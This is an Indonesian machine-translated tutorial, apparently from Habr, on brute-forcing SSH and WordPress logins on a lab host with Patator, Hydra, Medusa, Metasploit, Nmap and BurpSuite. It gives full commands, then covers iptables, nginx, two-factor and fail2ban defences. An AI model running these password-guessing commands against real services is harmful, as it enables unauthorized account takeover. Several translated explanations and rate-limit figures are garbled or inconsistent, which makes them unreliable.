Serangan brutal menggunakan Kali Linux



Brute-force (brute force attack) adalah metode penyelesaian masalah matematika, yang kompleksitasnya tergantung pada jumlah semua solusi yang mungkin. Istilah brute-force itu sendiri biasanya digunakan dalam konteks serangan hacker ketika penyerang mencoba untuk mengambil nama pengguna / kata sandi untuk akun atau layanan.

Pertimbangkan alat yang dapat digunakan untuk melakukan serangan brute-force pada layanan SSH dan WEB yang tersedia di Kali Linux (Patator, Medusa, Hydra, Metasploit), serta BurpSuite.

Semua bahan yang disediakan dalam artikel ini dimaksudkan hanya untuk penggunaan pendidikan. Penggunaan materi secara ilegal dan ilegal dilarang.

Brute-force ssh


Misalnya, ambil mesin uji 192.168.60.50 dan coba temukan kata sandi pengujian pengguna oleh SSH. Kami akan menggunakan kata sandi populer dari kamus standar rockyou.txt.



Patator
Untuk memilih kata sandi menggunakan Patator, gunakan perintah:

patator ssh_login host=192.168.60.50 user=test password=FILE0 0=/root/wordlist -x ignore:mesg='Authentication failed'

dimana:
ssh_login - modul yang diperlukan
Tuan rumah adalah tujuan kami
pengguna - pengguna login yang kata sandi atau file dengan login untuk beberapa pilihan dipilih
kata sandi - kamus dengan kata sandi
-x abaikan: mesg = 'Otentikasi gagal' - perintah tidak menampilkan baris dengan pesan ini. Parameter penyaringan dipilih secara individual.

gambar



Hydra
Untuk memilih kata sandi menggunakan Hydra, jalankan perintah:

hydra -V -f -t 4 -l test -P /root/wordlist ssh://192.168.60.50

dimana:
-V - tampilkan sepasang nama pengguna + kata sandi selama iterasi
-f - berhenti segera setelah kata sandi untuk login yang ditentukan ditemukan
-P - path ke kamus dengan kata sandi
ssh: //192.168.60.50 - indikasi layanan dan alamat IP korban

gambar



Medusa
Untuk memilih kata sandi menggunakan Medusa, jalankan perintah:

medusa -h 192.168.60.50 -u test -P /root/wordlist -M ssh -f -v 6

dimana:
-h - alamat IP korban
-u - masuk
-P - jalur kamus
-M - pemilihan modul
-f - berhenti setelah menemukan pasangan nama pengguna / kata sandi yang valid
-v - mengatur tampilan pesan di layar selama proses pemilihan

gambar



Metasploit
Kami akan mencari alat untuk melakukan serangan brute-force pada SSH:
search ssh_login dan dapatkan jawabannya:

gambar

Kami menggunakan modul:

use auxiliary/scanner/ssh/ssh_login

Untuk melihat parameter yang diperlukan, gunakan perintah show options . Bagi kami itu adalah:
rhosts - alamat IP korban
rport - port
nama pengguna - masuk SSH
userpass_file - path ke kamus
stop_on_success - berhenti segera setelah ada pasangan nama pengguna / kata sandi
utas - jumlah utas

gambar

Indikasi parameter yang diperlukan dilakukan melalui perintah " set ".

set rhosts 192.168.60.50
set username test
set userpass_file /root/wordlist
set stop_on_success yes
set threads 4
set rport 22


Setelah menentukan parameter yang diperlukan, kita ketik perintah " jalankan " dan tunggu.

gambar

Counteraction


Batasi jumlah koneksi yang dibangun menggunakan firewall. Contoh pengaturan iptables:

-A INPUT -i eth0 -p tcp --dport 22 -m connlimit --connlimit-above 1 --connlimit-mask 32 -j REJECT --reject-with tcp-reset .

Aturan seperti itu akan membatasi akses ke SSH untuk setiap alamat IP hingga 1 koneksi per detik, sangat menyulitkan pencarian. Selain itu, solusi yang efektif dapat menggunakan otentikasi dua faktor (misalnya, menggunakan eToken) atau otentikasi menggunakan pasangan kunci, serta penggunaan ACL berdasarkan alamat IP.

Wordpress kasar-paksa


Mari kita lihat contoh lain - memilih kata sandi untuk jendela otorisasi formulir web.

gambar

Sebagai contoh, kami akan memilih kata sandi dari akun admin wordpress.



Burpsuite
Pertama, kita perlu memahami bagaimana proses otorisasi terjadi. Untuk ini kita akan menggunakan BurpSuite. Kami perlu mencoba masuk dengan kata sandi dan login apa saja untuk melihat permintaan apa yang masuk melalui BurpSuite.

gambar

Ya, kami melihat permintaan POST untuk otorisasi, kami akan bekerja dengannya.
BODY menunjukkan login dan kata sandi mana yang diperiksa, yang berarti bahwa kita dapat mencoba mengganti nilai yang kita butuhkan sendiri.
Kami meneruskan permintaan ini ke Penyusup dan di sana kami memilih parameter yang diperlukan untuk serangan itu. Di item Posisi Muatan, kami membiarkan jenis serangan sebagai sniper, tetapi untuk verifikasi kami hanya menyisakan parameter pwd. Dengan demikian, serangan hanya akan mengubah parameter ini.

gambar

Kami memuat kamus yang diperlukan dan memulai serangan.

gambar

Dari perilaku aplikasi web, kita melihat bahwa kata sandi yang salah mengembalikan kode respons 200. Setelah mencari di kamus, kita melihat bahwa salah satu kata sandi memberikan jawaban dengan kode 302 - itu benar.

gambar

Metode brute force ini membutuhkan waktu lebih lama daripada saat menggunakan Patator, Hydra, Medusa, dll. Meskipun kami mengambil kamus kecil, BurpSuite mengulangi kamus selama sekitar 40 menit.



Hydra
Ayo coba cari kata sandi menggunakan Hydra.
Seperti yang sudah kita ketahui, jika otorisasi salah, kode 200 dikembalikan, dan jika berhasil, kodenya 302. Mari kita coba gunakan informasi ini.
Untuk memulai, gunakan perintah:

hydra -V -f -l admin -P /root/wordlist -t 4 http-post-form://192.168.60.50 -m "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1:S=302"

Di sini kami menunjukkan parameter yang diperlukan:
-l - nama pengguna
-P - kamus dengan kata sandi
-t - jumlah utas
http-post-form - jenis formulir, kami memiliki POST.
/wp-login.php adalah URL dari halaman otorisasi
^ USER ^ - menunjukkan tempat untuk mengganti nama pengguna
^ LULUS ^ - menunjukkan tempat untuk mengganti kata sandi dari kamus
S = 302 - indikasi jawaban yang mengandalkan Hydra. Dalam kasus kami, jawabannya adalah 302 setelah otorisasi berhasil.

gambar



Patator
Seperti yang telah kita ketahui, jika otorisasi gagal, kode 200 dikembalikan, dan jika berhasil, mengembalikan 302. Kami akan menggunakan prinsip yang sama dengan Hydra:
Peluncuran dilakukan dengan perintah:

patator http_fuzz url=http://192.168.60.50/wp-login.php method=POST body='log=admin&pwd=FILE0&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1' 0=/root/wordlist -t 4 before_urls=http://192.168.60.50/wp-login.php -x ignore:code=200 accept_cookie=1

http_fuzz - modul untuk serangan http brute-force
url - alamat halaman dengan otorisasi
FILE0 - path ke kamus dengan kata sandi
tubuh - informasi yang dikirimkan dalam permintaan POST selama otorisasi
-t - jumlah utas
-x - Dalam hal ini, kami menetapkan perintah untuk tidak menampilkan baris pesan yang berisi parameter dengan kode 200
accept_cookie - menyimpan parameter cookie dan meneruskannya ke permintaan berikutnya
Akibatnya, kami berhasil menemukan kata sandi.

gambar



Nmap
Utilitas Nmap memungkinkan, antara lain, pemilihan kata sandi untuk formulir otorisasi web, jika Anda menggunakan skrip http-wordpress-brute dengan argumen yang sesuai:
--script-args - menambahkan argumen
user atau userdb - login atau file dengan login
pass atau passdb - tentukan kata sandi atau kamus
utas - jumlah utas
firstonly = true - tampilkan hasilnya setelah kata sandi pertama yang benar

nmap 192.168.60.50 --script http-wordpress-brute --script-args 'user= admin,passdb= /root/wordlist, http-wordpress-brute.thread=3, brute.firstonly=true'

gambar

Counteraction


Batasi (rumit) serangan brute-force pada aplikasi web menggunakan iptables (mirip dengan SSH) dan nginx. Untuk melakukan ini, buat zona batas:
...
limit_req_zone $binary_remote_addr zone=req_limits:10m rate=30r/s;
...

dan gunakan:
location / {
...
limit_req zone=req_limits burst=10;
limit_req_status 429;
...
}

Pengaturan semacam itu akan membatasi jumlah permintaan dari satu alamat IP hingga 40 per detik.

Anda dapat menyulitkan tugas pencacahan menggunakan metode berikut:
- Penggunaan firewall dan perangkat lunak lain untuk membatasi jumlah panggilan ke layanan yang dilindungi. Anda dapat membaca tentang bagaimana kami menggunakan pembelajaran mesin untuk mendeteksi serangan seperti itu (termasuk yang didistribusikan) dalam sebuah artikel .
- Penggunaan alat yang mencegah verifikasi cepat dari kebenaran kunci (misalnya, Captcha).

Kesimpulan


Pada artikel ini, kami telah memeriksa beberapa alat yang dangkal secara dangkal. Anda dapat mengurangi risiko tebakan kata sandi dengan mengikuti panduan ini:
- Gunakan kata sandi tahan kata sandi;
- Jangan membuat kata sandi menggunakan informasi pribadi, misalnya: tanggal lahir atau nama + tanggal lahir atau ponsel;
- secara teratur mengubah kata sandi;
- Gunakan kata sandi unik di semua akun.

Hanya sedikit orang yang mengikuti rekomendasi tersebut (juga rekomendasi untuk pengembangan web yang aman), jadi Anda perlu menggunakan berbagai solusi perangkat lunak yang memungkinkan Anda untuk:
- batasi koneksi dengan alamat IP, atau, jika ini tidak memungkinkan, batasi jumlah koneksi simultan ke layanan (menggunakan iptables, nginx dan lainnya);
- menggunakan otentikasi dua faktor;
- Mendeteksi dan memblokir serangan tersebut menggunakan SIEM, WAF atau yang lainnya (misalnya, fail2ban).

Source: https://habr.com/ru/post/id434216/


All Articles